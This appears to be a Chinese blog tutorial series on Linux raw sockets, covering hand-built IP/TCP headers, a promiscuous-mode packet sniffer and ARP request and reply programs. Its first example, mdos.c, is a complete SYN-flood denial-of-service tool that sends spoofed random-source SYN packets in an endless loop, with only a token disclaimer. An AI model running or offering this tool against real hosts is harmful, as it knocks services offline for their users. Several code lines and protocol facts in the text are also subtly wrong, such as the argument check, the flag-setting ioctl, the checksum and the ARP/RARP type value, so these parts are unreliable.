基于原始套接字编程
在开发面向连接的TCP和面向无连接的UDP程序时,我们所关心的核心问题在于数据收发层面,数据的传输特性由TCP或UDP来保证:
也就是说,对于TCP或UDP的程序开发,焦点在Data字段,我们没法直接对TCP或UDP头部字段进行赤裸裸的修改,当然还有IP头。换句话说,我们对它们头部操作的空间非常受限,只能使用它们已经开放给我们的诸如源、目的IP,源、目的端口等等。
今天我们讨论一下原始套接字的程序开发,用它作为入门协议栈的进阶跳板太合适不过了。OK闲话不多说,进入正题。
原始套接字的创建方法也不难:socket(AF_INET, SOCK_RAW, protocol)。
重点在protocol字段,这里就不能简单的将其值为0了。在头文件netinet/in.h中定义了系统中该字段目前能取的值,注意:有些系统中不一定实现了netinet/in.h中的所有协议。源代码的linux/in.h中和netinet/in.h中的内容一样。
我们常见的有IPPROTO_TCP,IPPROTO_UDP和IPPROTO_ICMP,在博文“(十六)洞悉linux下的Netfilter&iptables:开发自己的hook函数【实战】(下) ”中我们见到该protocol字段为IPPROTO_RAW时的情形,后面我们会详细介绍。
用这种方式我就可以得到原始的IP包了,然后就可以自定义IP所承载的具体协议类型,如TCP,UDP或ICMP,并手动对每种承载在IP协议之上的报文进行填充。接下来我们看个最著名的例子DOS攻击的示例代码,以便大家更好的理解如何基于原始套接字手动去封装我们所需要TCP报文。
先简单复习一下TCP报文的格式,因为我们本身不是讲协议的设计思想,所以只会提及和我们接下来主题相关的字段,如果想对TCP协议原理进行深入了解那么《TCP/IP详解卷1》无疑是最好的选择。
我们目前主要关注上面着色部分的字段就OK了,接下来再看看TCP3次握手的过程。TCP的3次握手的一般流程是:
(1) 第一次握手:建立连接时,客户端A发送SYN包(SEQ_NUMBER=j)到服务器B,并进入SYN_SEND状态,等待服务器B确认。
(2) 第二次握手:服务器B收到SYN包,必须确认客户A的SYN(ACK_NUMBER=j+1),同时自己也发送一个SYN包(SEQ_NUMBER=k),即SYN+ACK包,此时服务器B进入SYN_RECV状态。
(3) 第三次握手:客户端A收到服务器B的SYN+ACK包,向服务器B发送确认包ACK(ACK_NUMBER=k+1),此包发送完毕,客户端A和服务器B进入ESTABLISHED状态,完成三次握手。
至此3次握手结束,TCP通路就建立起来了,然后客户端与服务器开始交互数据。上面描述过程中,SYN包表示TCP数据包的标志位syn=1,同理,ACK表示TCP报文中标志位ack=1,SYN+ACK表示标志位syn=1和ack=1同时成立。
原始套接字还提供了一个非常有用的参数IP_HDRINCL:
1、当开启该参数时:我们可以从IP报文首部第一个字节开始依次构造整个IP报文的所有选项,但是IP报文头部中的标识字段(设置为0时)和IP首部校验和字段总是由内核自己维护的,不需要我们关心。
2、如果不开启该参数:我们所构造的报文是从IP首部之后的第一个字节开始,IP首部由内核自己维护,首部中的协议字段被设置成调用socket()函数时我们所传递给它的第三个参数。
开启IP_HDRINCL特性的模板代码一般为:
const int on =1;
if (setsockopt (sockfd,IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){
printf("setsockopt error!\n");
}
所以,我们还得复习一下IP报文的首部格式:
同样,我们重点关注IP首部中的着色部分区段的填充情况。
有了上面的知识做铺垫,接下来DOS示例代码的编写就相当简单了。我们来体验一下手动构造原生态IP报文的乐趣吧:
点击(此处)折叠或打开
1. //mdos.c
2. #include <stdlib.h>
3. #include <stdio.h>
4. #include <errno.h>
5. #include <string.h>
6. #include <unistd.h>
7. #include <netdb.h>
8. #include <sys/socket.h>
9. #include <sys/types.h>
10.#include <netinet/in.h>
11.#include <netinet/ip.h>
12.#include <arpa/inet.h>
13.#include <linux/tcp.h>
14.
15.//我们自己写的攻击函数
16.void attack(int skfd,structsockaddr_in *target,unsignedshort srcport);
17.//如果什么都让内核做,那岂不是忒不爽了,咱也试着计算一下校验和。
18.unsigned short check_sum(unsignedshort *addr,int len);
19.
20.int main(intargc,char**argv){
21. int skfd;
22. structsockaddr_in target;
23. structhostent *host;
24. const int on=1;
25. unsignedshort srcport;
26.
27. if(argc!=2)
28. {
29. printf("Usage:%s targetdstport srcport\n",argv[0]);
30. exit(1);
31. }
32.
33. bzero(&target,sizeof(struct sockaddr_in));
34. target.sin_family=AF_INET;
35. target.sin_port=htons(atoi(argv[2]));
36.
37. if(inet_aton(argv[1],&target.sin_addr)==0)
38. {
39. host=gethostbyname(argv[1]);
40. if(host==NULL)
41. {
42. printf("TargetNameError:%s\n",hstrerror(h_errno));
43. exit(1);
44. }
45. target.sin_addr=*(structin_addr *)(host->h_addr_list[0]);
46. }
47.
48. //将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
49. if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
50. perror("CreateError");
51. exit(1);
52. }
53.
54. //用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文
55. if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
56. perror("IP_HDRINCLfailed");
57. exit(1);
58. }
59.
60. //因为只有root用户才可以play with raw socket :)
61. setuid(getpid());
62. srcport= atoi(argv[3]);
63. attack(skfd,&target,srcport);
64.}
65.
66.//在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
67.void attack(int skfd,structsockaddr_in *target,unsignedshort srcport){
68. charbuf[128]={0};
69. structip *ip;
70. structtcphdr *tcp;
71. int ip_len;
72.
73. //在我们TCP的报文中Data没有字段,所以整个IP报文的长度
74. ip_len= sizeof(structip)+sizeof(structtcphdr);
75. //开始填充IP首部
76. ip=(struct ip*)buf;
77.
78. ip->ip_v =IPVERSION;
79. ip->ip_hl =sizeof(struct ip)>>2;
80. ip->ip_tos = 0;
81. ip->ip_len =htons(ip_len);
82. ip->ip_id=0;
83. ip->ip_off=0;
84. ip->ip_ttl=MAXTTL;
85. ip->ip_p=IPPROTO_TCP;
86. ip->ip_sum=0;
87. ip->ip_dst=target->sin_addr;
88.
89. //开始填充TCP首部
90. tcp = (structtcphdr*)(buf+sizeof(struct ip));
91. tcp->source =htons(srcport);
92. tcp->dest =target->sin_port;
93. tcp->seq =random();
94. tcp->doff = 5;
95. tcp->syn = 1;
96. tcp->check = 0;
97.
98. while(1){
99. //源地址伪造,我们随便任意生成个地址,让服务器一直等待下去
100. ip->ip_src.s_addr= random();
101. tcp->check=check_sum((unsigned short*)tcp,sizeof(structtcphdr));
102. sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(structsockaddr_in));
103. }
104. }
105.
106. //关于CRC校验和的计算,网上一大堆,我就“拿来主义”了
107. unsigned short check_sum(unsigned short*addr,int len){
108. register int nleft=len;
109. register int sum=0;
110. register short *w=addr;
111. short answer=0;
112.
113. while(nleft>1)
114. {
115. sum+=*w++;
116. nleft-=2;
117. }
118. if(nleft==1)
119. {
120. *(unsigned char *)(&answer)=*(unsigned char *)w;
121. sum+=answer;
122. }
123.
124. sum=(sum>>16)+(sum&0xffff);
125. sum+=(sum>>16);
126. answer=~sum;
127. return(answer);
128. }
用前面我们自己编写TCP服务器端程序来做本地测试,看看效果。先把服务器端程序启动起来,如下:
然后,我们编写的“捣蛋”程序登场了:
该“mdos”命令执行一段时间后,服务器端的输出如下:
因为我们的源IP地址是随机生成的,源端口固定为8888,服务器端收到我们的SYN报文后,会为其分配一条连接资源,并将该连接的状态置为SYN_RECV,然后给客户端回送一个确认,并要求客户端再次确认,可我们却不再bird别个了,这样就会造成服务端一直等待直到超时。
备注:本程序仅供交流分享使用,不要做恶,不然后果自负哦。
最后补充一点,看到很多新手经常对struct ip{}和struct iphdr{},struct icmp{}和struct icmphdr{}纠结来纠结去了,不知道何时该用哪个。在/usr/include/netinet目录这些结构所属头文件的定义,头文件中对这些结构也做了很明确的说明,这里我们简单总结一下:
struct ip{}、struct icmp{}是供BSD系统层使用,struct iphdr{}和struct icmphdr{}是在INET层调用。同理tcphdr和udphdr分别都已经和谐统一了,参见tcp.h和udp.h。
BSD和INET的解释在协议栈篇章详细论述,这里大家可以简单这样来理解:我们在用户空间的编写网络应用程序的层次就叫做BSD层。所以我们该用什么样的数据结构呢?良好的编程习惯当然是BSD层推荐我们使用的,struct ip{}、struct icmp{}。至于INET层的两个同类型的结构体struct iphdr{}和struct icmphdr{}能用不?我只能说不建议。看个例子:
我们可以看到无论BSD还是INET层的IP数据包结构体大小是相等的,ICMP报文的大小有差异。而我们知道ICMP报头应该是8字节,那么BSD层为什么是28字节呢?留给大家思考。也就是说,我们这个mdos.c的实例程序中除了用struct ip{}之外还可以用INET层的struct iphdr{}结构。将如下代码:
点击(此处)折叠或打开
1. struct ip *ip;
2. …
3. ip=(struct ip*)buf;
4. ip->ip_v =IPVERSION;
5. ip->ip_hl =sizeof(struct ip)>>2;
6. ip->ip_tos =0;
7. ip->ip_len =htons(ip_len);
8. ip->ip_id=0;
9. ip->ip_off=0;
10.ip->ip_ttl=MAXTTL;
11.ip->ip_p=IPPROTO_TCP;
12.ip->ip_sum=0;
13.ip->ip_dst=target->sin_addr;
14.…
15.ip->ip_src.s_addr =random();
改成:
点击(此处)折叠或打开
1. struct iphdr *ip;
2. …
3. ip=(struct iphdr*)buf;
4. ip->version =IPVERSION;
5. ip->ihl =sizeof(struct ip)>>2;
6. ip->tos =0;
7. ip->tot_len =htons(ip_len);
8. ip->id=0;
9. ip->frag_off=0;
10.ip->ttl=MAXTTL;
11.ip->protocol=IPPROTO_TCP;
12.ip->check=0;
13.ip->daddr=target->sin_addr.s_addr;
14.…
15.ip->saddr = random();
结果请童鞋们自己验证。虽然结果一样,但在BSD层直接使用INET层的数据结构还是不被推荐的。
小结:
1、IP_HDRINCL选项可以使我们控制到底是要从IP头部第一个字节开始构造我们的原始报文或者从IP头部之后第一个数据字节开始。
2、只有超级用户才能创建原始套接字。
3、原始套接字上也可以调用connet、bind之类的函数,但都不常见。原因请大家回顾一下这两个函数的作用。想不起来的童鞋回头复习一下前两篇的内容吧。
可以接收链路层MAC帧的原始套接字
前面我们介绍过了通过原始套接字socket(AF_INET, SOCK_RAW, protocol)我们可以直接实现自行构造整个IP报文,然后对其收发。提醒一点,在用这种方式构造原始IP报文时,第三个参数protocol不能用IPPROTO_IP,这样会让系统疑惑,不知道该用什么协议来伺候你了。
今天我们介绍原始套接字的另一种用法:直接从链路层收发数据帧,听起来好像很神奇的样子。在Linux系统中要从链路层(MAC)直接收发数帧,比较普遍的做法就是用libpcap和libnet两个动态库来实现。但今天我们就要用原始套接字来实现这个功能。
这里的2字节帧类型用来指示该数据帧所承载的上层协议是IP、ARP或其他。
为了实现直接从链路层收发数据帧,我们要用到原始套接字的如下形式:
socket(PF_PACKET,type, protocol)
1、其中type字段可取SOCK_RAW或SOCK_DGRAM。它们两个都使用一种与设备无关的标准物理层地址结构struct sockaddr_ll{},但具体操作的报文格式不同:
SOCK_RAW:直接向网络硬件驱动程序发送(或从网络硬件驱动程序接收)没有任何处理的完整数据报文(包括物理帧的帧头),这就要求我们必须了解对应设备的物理帧帧头结构,才能正确地装载和分析报文。也就是说我们用这种套接字从网卡驱动上收上来的报文包含了MAC头部,如果我们要用这种形式的套接字直接向网卡发送数据帧,那么我们必须自己组装我们MAC头部。这正符合我们的需求。
SOCK_DGRAM:这种类型的套接字对于收到的数据报文的物理帧帧头会被系统自动去掉,然后再将其往协议栈上层传递;同样地,在发送时数据时,系统将会根据sockaddr_ll结构中的目的地址信息为数据报文添加一个合适的MAC帧头。
2、protocol字段,常见的,一般情况下该字段取ETH_P_IP,ETH_P_ARP,ETH_P_RARP或ETH_P_ALL, 当然链路层协议很多,肯定不止我们说的这几个,但我们一般只关心这几个就够我们用了。这里简单提一下网络数据收发的一点基础。协议栈在组织数据收发流程时 需要处理好两个方面的问题:“从上倒下”,即数据发送的任务;“从下到上”,即数据接收的任务。数据发送相对接收来说要容易些,因为对于数据接收而言,网 卡驱动还要明确什么样的数据该接收、什么样的不该接收等问题。protocol字段可选的四个值及其意义如下:
protocol |
值 |
作用 |
ETH_P_IP |
0X0800 |
只接收发往目的MAC是本机的IP类型的数据帧 |
ETH_P_ARP |
0X0806 |
只接收发往目的MAC是本机的ARP类型的数据帧 |
ETH_P_RARP |
0X8035 |
只接受发往目的MAC是本机的RARP类型的数据帧 |
ETH_P_ALL |
0X0003 |
接收发往目的MAC是本机的所有类型(ip,arp,rarp)的数据帧,同时还可以接收从本机发出去的所有数据帧。在混杂模式打开的情况下,还会接收到发往目的MAC为非本地硬件地址的数据帧。 |
protocol字段可取的所有协议参见/usr/include/linux/if_ether.h头文件里的定义。
最后,格外需要留心一点的就是,发送数据的时候需要自己组织整个以太网数据帧。和地址相关的结构体就不能再用前面的struct sockaddr_in{}了,而是struct sockaddr_ll{},如下:
点击(此处)折叠或打开
1. struct sockaddr_ll{
2. unsigned short sll_family;/* 总是 AF_PACKET */
3. unsigned short sll_protocol; /* 物理层的协议 */
4. int sll_ifindex; /* 接口号 */
5. unsigned short sll_hatype;/* 报头类型 */
6. unsigned char sll_pkttype;/* 分组类型 */
7. unsigned char sll_halen;/* 地址长度 */
8. unsigned char sll_addr[8]; /* 物理层地址 */
9. };
sll_protocoll:取值在linux/if_ether.h中,可以指定我们所感兴趣的二层协议;
sll_ifindex:置为0表示处理所有接口,对于单网卡的机器就不存在“所有”的概念了。如果你有多网卡,该字段的值一般通过ioctl来搞定,模板代码如下,如果我们要获取eth0接口的序号,可以使用如下代码来获取:
点击(此处)折叠或打开
1. struct sockaddr_ll sll;
2. struct ifreq ifr;
3.
4. strcpy(ifr.ifr_name, "eth0");
5. ioctl(sockfd,SIOCGIFINDEX, &ifr);
6. sll.sll_ifindex = ifr.ifr_ifindex;
sll_hatype:ARP硬件地址类型,定义在 linux/if_arp.h 中。 取ARPHRD_ETHER时表示为以太网。
sll_pkttype:包含分组类型。目前,有效的分组类型有:目标地址是本地主机的分组用的 PACKET_HOST,物理层广播分组用的 PACKET_BROADCAST ,发送到一个物理层多路广播地址的分组用的 PACKET_MULTICAST,在混杂(promiscuous)模式下的设备驱动器发向其他主机的分组用的 PACKET_OTHERHOST,源于本地主机的分组被环回到分组套接口用的 PACKET_OUTGOING。这些类型只对接收到的分组有意义。
sll_addr和sll_halen指示物理层(如以太网,802.3,802.4或802.5等)地址及其长度,严格依赖于具体的硬件设备。类似于获取接口索引sll_ifindex,要获取接口的物理地址,可以采用如下代码:
点击(此处)折叠或打开
1. struct ifreq ifr;
2.
3. strcpy(ifr.ifr_name, "eth0");
4. ioctl(sockfd,SIOCGIFHWADDR, &ifr);
缺省情况下,从任何接口收到的符合指定协议的所有数据报文都会被传送到原始PACKET套接字口,而使用bind系统调用并以一个sochddr_ll结构体对象将PACKET套接字与某个网络接口相绑定,就可使我们的PACKET原始套接字只接收指定接口的数据报文。
接下来我们简单介绍一下网卡是怎么收报的,如果你对这部分已经很了解可以跳过这部分内容。网卡从线路上收到信号流,网卡的驱动程序会去检查数据帧开始的前6个字节,即目的主机的MAC地址,如果和自己的网卡地址一致它才会接收这个帧,不符合的一般都是直接无视。然后该数据帧会被网络驱动程序分解,IP报文将通过网络协议栈,最后传送到应用程序那里。往上层传递的过程就是一个校验和“剥头”的过程,由协议栈各层去实现。
接下来我们来写个简单的抓包程序,将那些发给本机的IPv4报文全打印出来:
点击(此处)折叠或打开
1. #include <stdio.h>
2. #include <stdlib.h>
3. #include <errno.h>
4. #include <unistd.h>
5. #include <sys/socket.h>
6. #include <sys/types.h>
7. #include <netinet/in.h>
8. #include <netinet/ip.h>
9. #include <netinet/if_ether.h>
10.
11.int main(intargc, char **argv) {
12. intsock, n;
13. char buffer[2048];
14. struct ethhdr *eth;
15. struct iphdr *iph;
16.
17. if (0>(sock=socket(PF_PACKET, SOCK_RAW,htons(ETH_P_IP)))){
18. perror("socket");
19. exit(1);
20. }
21.
22. while(1) {
23. printf("=====================================\n");
24. //注意:在这之前我没有调用bind函数,原因是什么呢?
25. n = recvfrom(sock,buffer,2048,0,NULL,NULL);
26. printf("%d bytesread\n",n);
27.
28. //接收到的数据帧头6字节是目的MAC地址,紧接着6字节是源MAC地址。
29. eth=(struct ethhdr*)buffer;
30. printf("Dest MACaddr:%02x:%02x:%02x:%02x:%02x:%02x\n",eth->h_dest[0],eth->h_dest[1],eth->h_dest[2],eth->h_dest[3],eth->h_dest[4],eth->h_dest[5]);
31. printf("Source MACaddr:%02x:%02x:%02x:%02x:%02x:%02x\n",eth->h_source[0],eth->h_source[1],eth->h_source[2],eth->h_source[3],eth->h_source[4],eth->h_source[5]);
32.
33. iph=(struct iphdr*)(buffer+sizeof(structethhdr));
34. //我们只对IPV4且没有选项字段的IPv4报文感兴趣
35. if(iph->version==4 &&iph->ihl ==5){
36. printf("Sourcehost:%s\n",inet_ntoa(iph->saddr));
37. printf("Desthost:%s\n",inet_ntoa(iph->daddr));
38. }
39. }
40.}
编译,然后运行,要以root身份才可以运行该程序:
正如我们前面看到的,网卡丢弃所有不含有主机MAC地址00:0C:29:BA:CB:61的数据包,这是因为网卡处于非混杂模式,即每个网卡只处理源地址是它自己的帧!
这里有三个例外的情况:
1、如果一个帧的目的MAC地址是一个受限的广播地址(255.255.255.255)那么它将被所有的网卡接收。
2、如果一个帧的目的地址是组播地址,那么它将被那些打开组播接收功能的网卡所接收。
3、网卡如被设置成混杂模式,那么它将接收所有流经它的数据包。
前面我们刚好提到过网卡的混杂模式,现在我们就来迫不及待的实践一哈看看混杂模式是否可以让我们抓到所有数据包,只要在while循环前加上如下代码就OK了:
点击(此处)折叠或打开
1. struct ifreq ethreq;
2. … …
3. strncpy(ethreq.ifr_name,"eth0",IFNAMSIZ);
4. if(-1 == ioctl(sock,SIOCGIFFLAGS,ðreq)){
5. perror("ioctl");
6. close(sock);
7. exit(1);
8. }
9. ethreq.ifr_flags |=IFF_PROMISC;
10.if(-1 == ioctl(sock,SIOCGIFFLAGS,ðreq)){
11. perror("ioctl");
12. close(sock);
13. exit(1);
14.}
15.while(1){
16. … …
17.}
至此,我们一个网络抓包工具的雏形就出现了。大家可以基于此做更多的练习,加上多线程机制,对收到的不同类型的数据包做不同处理等等,反正由你发挥的空间是相当滴大,“狐狸未成精,只因太年轻”。把这块吃透了,后面理解协议栈就会相当轻松。
如何从链路层直接发送数据帧
本来以为这部分都弄完了,结果有朋友反映说看了半天还是没看到如何从链路层直接发送数据。因为上一篇里面提到的是从链路层“收发”数据,结果只“收”完,忘了“发”,实在抱歉,所以就有这篇续出来了。
上一节我们主要研究了如何从链路层直接接收数据帧,可以通过bind函数来将原始套接字绑定到本地一个接口上,然后该套接字就只接收从该接口收上来的对应的数据包。今天我们用原始套接字来手工实现链路层ARP报文的发送和接收,以便大家对原始套接字有更深刻的掌握和理解。
ARP全称为地址解析协议,是链路层广泛使用的一种寻址协议,完成32比特IP地址到48比特MAC地址的映射转换。在以太网中,当一台主机需要向另外一台主机发送消息时,它会首先在自己本地的ARP缓存表中根据目的主机的IP地址查找其对应的MAC地址,如果找到了则直接向其发送消息。如果未找到,它首先会在全网发送一个ARP广播查询,这个查询的消息会被以太网中所有主机接收到,然后每个主机就根据ARP查询报文中所指定的IP地址来检查该报文是不是发给自己的,如果不是则直接丢弃;只有被查询的目的主机才会对这个消息进行响应,然后将自己的MAC地址通告给发送者。
也就是说,链路层中是根据MAC地址来确定唯一一台主机。以太帧格式如下:
以太帧首部中2字节的帧类型字段指定了其上层所承载的具体协议,常见的有0x0800表示是IP报文、0x0806表示RARP协议、0x0806即为我们将要讨论的ARP协议。
硬件类型: 1表示以太网。
协议类型: 0x0800表示IP地址。和以太头部中帧类型字段相同。
硬件地址长度和协议地址长度:对于以太网中的ARP协议而言,分别为6和4;
操作码:1表示ARP请求;2表示ARP应答;3表示RARP请求;4表示RARP应答。
我们这里只讨论硬件地址为以太网地址、协议地址为IP地址的情形,所以剩下四个字段就分别表示发送方的MAC和IP地址、接收方的MAC和IP地址了。
注意:对于一个ARP请求报文来说,除了接收方硬件地址外,其他字段都要填充。当系统收到一个ARP请求时,会查询该请求报文中接收方的协议地址是否和自己的IP地址相等,如果相等,它就把自己的硬件地址和协议地址填充进去,将发送和接收方的地址互换,然后将操作码改为2,发送回去。
下面看一个使用原始套接字发送ARP请求的例子:
点击(此处)折叠或打开
1. #include <stdio.h>
2. #include <stdlib.h>
3. #include <string.h>
4. #include <unistd.h>
5. #include <errno.h>
6. #include <sys/socket.h>
7. #include <sys/ioctl.h>
8. #include <sys/types.h>
9. #include <netinet/in.h>
10.#include <netinet/ip.h>
11.#include <netinet/if_ether.h>
12.#include <net/if_arp.h>
13.#include <netpacket/packet.h>
14.#include <net/if.h>
15.#include <net/ethernet.h>
16.
17.#define BUFLEN 42
18.
19.int main(int argc,char** argv){
20. intskfd,n;
21. char buf[BUFLEN]={0};
22. struct ether_header *eth;
23. struct ether_arp *arp;
24. struct sockaddr_ll toaddr;
25. struct in_addr targetIP,srcIP;
26. struct ifreq ifr;
27.
28. unsigned char src_mac[ETH_ALEN]={0};
29. unsigned char dst_mac[ETH_ALEN]={0xff,0xff,0xff,0xff,0xff,0xff}; //全网广播ARP请求
30. if(3 != argc){
31. printf("Usage: %snetdevName dstIP\n",argv[0]);
32. exit(1);
33. }
34.
35. if(0>(skfd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL)))){
36. perror("CreateError");
37. exit(1);
38. }
39.
40. bzero(&toaddr,sizeof(toaddr));
41. bzero(&ifr,sizeof(ifr));
42. strcpy(ifr.ifr_name,argv[1]);
43.
44. //获取接口索引
45. if(-1 == ioctl(skfd,SIOCGIFINDEX,&ifr)){
46. perror("get dev indexerror:");
47. exit(1);
48. }
49. toaddr.sll_ifindex= ifr.ifr_ifindex;
50. printf("interface Index:%d\n",ifr.ifr_ifindex);
51. //获取接口IP地址
52. if(-1 == ioctl(skfd,SIOCGIFADDR,&ifr)){
53. perror("get IP addrerror:");
54. exit(1);
55. }
56. srcIP.s_addr= ((structsockaddr_in*)&(ifr.ifr_addr))->sin_addr.s_addr;
57. printf("IP addr:%s\n",inet_ntoa(((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr));
58.
59. //获取接口的MAC地址
60. if(-1 == ioctl(skfd,SIOCGIFHWADDR,&ifr)){
61. perror("get dev MACaddr error:");
62. exit(1);
63. }
64.
65. memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
66. printf("MAC :%02X-%02X-%02X-%02X-%02X-%02X\n",src_mac[0],src_mac[1],src_mac[2],src_mac[3],src_mac[4],src_mac[5]);
67.
68.
69. //开始填充,构造以太头部
70. eth=(structether_header*)buf;
71. memcpy(eth->ether_dhost,dst_mac,ETH_ALEN);
72. memcpy(eth->ether_shost,src_mac,ETH_ALEN);
73. eth->ether_type= htons(ETHERTYPE_ARP);
74.
75. //手动开始填充用ARP报文首部
76. arp=(structarphdr*)(buf+sizeof(struct ether_header));
77. arp->arp_hrd= htons(ARPHRD_ETHER); //硬件类型为以太
78. arp->arp_pro= htons(ETHERTYPE_IP); //协议类型为IP
79.
80. //硬件地址长度和IPV4地址长度分别是6字节和4字节
81. arp->arp_hln= ETH_ALEN;
82. arp->arp_pln= 4;
83.
84. //操作码,这里我们发送ARP请求
85. arp->arp_op= htons(ARPOP_REQUEST);
86.
87. //填充发送端的MAC和IP地址
88. memcpy(arp->arp_sha,src_mac,ETH_ALEN);
89. memcpy(arp->arp_spa,&srcIP,4);
90.
91. //填充目的端的IP地址,MAC地址不用管
92. inet_pton(AF_INET,argv[2],&targetIP);
93. memcpy(arp->arp_tpa,&targetIP,4);
94.
95. toaddr.sll_family= PF_PACKET;
96. n=sendto(skfd,buf,BUFLEN,0,(struct sockaddr*)&toaddr,sizeof(toaddr));
97.
98. close(skfd);
99. return 0;
100. }
结果如下:
可以看到,我向网关发送一个ARP查询请求,报文中携带了网关的IP地址以及我本地主机的IP和MAC地址。网关收到该请求后,对我的这个报文进行了回应,将它的MAC地址在ARP应答报文中发给我了。
在这个示例程序中,我们完全自己手动构造了以太帧头部,并完成了整个ARP请求报文的填充,最后用sendto函数,将我们的数据通过eth0接口发送出去。这个程序的灵活性还在于支持多网卡,使用时只要指定网卡名称(如eth0或eth1),程序便会自动去获取指定接口相应的IP和MAC地址,然后用它们去填充ARP请求报文中对应的各字段。
在头文件
点击(此处)折叠或打开
1. structether_header
2. {
3. u_int8_t ether_dhost[ETH_ALEN]; /*destination eth addr */
4. u_int8_t ether_shost[ETH_ALEN]; /* sourceether addr */
5. u_int16_t ether_type; /* packet type ID field */
6. } __attribute__ ((__packed__));
在头文件
点击(此处)折叠或打开
1. struct arphdr
2. {
3. unsigned short ar_hrd; /* format of hardware address */
4. unsigned short ar_pro; /* format of protocol address */
5. unsigned char ar_hln; /* length of hardware address */
6. unsigned char ar_pln; /* length of protocol address */
7. unsigned short ar_op; /* ARP opcode (command) */
8. }
而头文件
点击(此处)折叠或打开
1. struct ether_arp {
2. struct arphdr ea_hdr; /* fixed-size 8bytes header */
3. u_int8_t arp_sha[ETH_ALEN]; /* senderhardware address */
4. u_int8_t arp_spa[4];/* sender protocol address */
5. u_int8_t arp_tha[ETH_ALEN]; /* targethardware address */
6. u_int8_t arp_tpa[4];/* target protocol address */
7. };
8.
9. #define arp_hrdea_hdr.ar_hrd
10.#define arp_pro ea_hdr.ar_pro
11.#define arp_hln ea_hdr.ar_hln
12.#define arp_pln ea_hdr.ar_pln
13.#define arp_op ea_hdr.ar_op
最后再看一个简单的接收ARP报文的小程序:
点击(此处)折叠或打开
1. #include <stdio.h>
2. #include <stdlib.h>
3. #include <string.h>
4. #include <unistd.h>
5. #include <errno.h>
6. #include <sys/socket.h>
7. #include <sys/ioctl.h>
8. #include <sys/types.h>
9. #include <netinet/in.h>
10.#include <netinet/ip.h>
11.#include <netinet/if_ether.h>
12.#include <net/if_arp.h>
13.#include <netpacket/packet.h>
14.#include <net/if.h>
15.#define BUFLEN 60
16.
17.int main(int argc,char** argv){
18. inti,skfd,n;
19. char buf[ETH_FRAME_LEN]={0};
20. struct ethhdr *eth;
21. struct ether_arp *arp;
22. struct sockaddr_ll fromaddr;
23. struct ifreq ifr;
24.
25. unsigned char src_mac[ETH_ALEN]={0};
26.
27. if(2 != argc){
28. printf("Usage: %snetdevName\n",argv[0]);
29. exit(1);
30. }
31.
32. //只接收发给本机的ARP报文
33. if(0>(skfd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP)))){
34. perror("CreateError");
35. exit(1);
36. }
37.
38. bzero(&fromaddr,sizeof(fromaddr));
39. bzero(&ifr,sizeof(ifr));
40. strcpy(ifr.ifr_name,argv[1]);
41.
42. //获取接口索引
43. if(-1 == ioctl(skfd,SIOCGIFINDEX,&ifr)){
44. perror("get dev indexerror:");
45. exit(1);
46. }
47. fromaddr.sll_ifindex= ifr.ifr_ifindex;
48. printf("interface Index:%d\n",ifr.ifr_ifindex);
49.
50. //获取接口的MAC地址
51. if(-1 == ioctl(skfd,SIOCGIFHWADDR,&ifr)){
52. perror("get dev MACaddr error:");
53. exit(1);
54. }
55.
56. memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
57. printf("MAC :%02X-%02X-%02X-%02X-%02X-%02X\n",src_mac[0],src_mac[1],src_mac[2],src_mac[3],src_mac[4],src_mac[5]);
58.
59. fromaddr.sll_family= PF_PACKET;
60. fromaddr.sll_protocol=htons(ETH_P_ARP);
61. fromaddr.sll_hatype=ARPHRD_ETHER;
62. fromaddr.sll_pkttype=PACKET_HOST;
63. fromaddr.sll_halen=ETH_ALEN;
64. memcpy(fromaddr.sll_addr,src_mac,ETH_ALEN);
65.
66. bind(skfd,(struct sockaddr*)&fromaddr,sizeof(structsockaddr));
67.
68. while(1){
69. memset(buf,0,ETH_FRAME_LEN);
70. n=recvfrom(skfd,buf,ETH_FRAME_LEN,0,NULL,NULL);
71. eth=(struct ethhdr*)buf;
72. arp=(struct ether_arp*)(buf+14);
73.
74. printf("Dest MAC:");
75. for(i=0;i<ETH_ALEN;i++){
76. printf("%02X-",eth->h_dest[i]);
77. }
78. printf("SenderMAC:");
79. for(i=0;i<ETH_ALEN;i++){
80. printf("%02X-",eth->h_source[i]);
81. }
82.
83. printf("\n");
84. printf("Frametype:%0X\n",ntohs(eth->h_proto));
85.
86. if(ntohs(arp->arp_op)==2){
87. printf("Get an ARPreplay!\n");
88. }
89. }
90. close(skfd);
91. return 0;
92.}
该示例程序中,调用recvfrom之前我们调用了bind系统调用,目的是仅从指定的接口接收ARP报文(由socket函数的第三个参数“ETH_P_ARP”决定)。可以对比一下,该程序与博文“Linux网络编程:原始套接字的魔力【下】”里介绍的抓包程序的区别。
小 结:通过这几个章节的热身,相信大家对网络编程中常见的一系列API函数 socket,bind,listen,connect,sendto,recvfrom,close等的认识应该会有一个较高的突破。当然,你也必须赶 快对它们熟悉起来,因为后面我们不但要“知其然”,还要知其“所以然”。后面,我们会以这些函数调用为主线,看看它们到底在内核中做些哪些事情,而这又对 我们理解协议栈的实现原理有什么帮助做进一步的分析和讨论。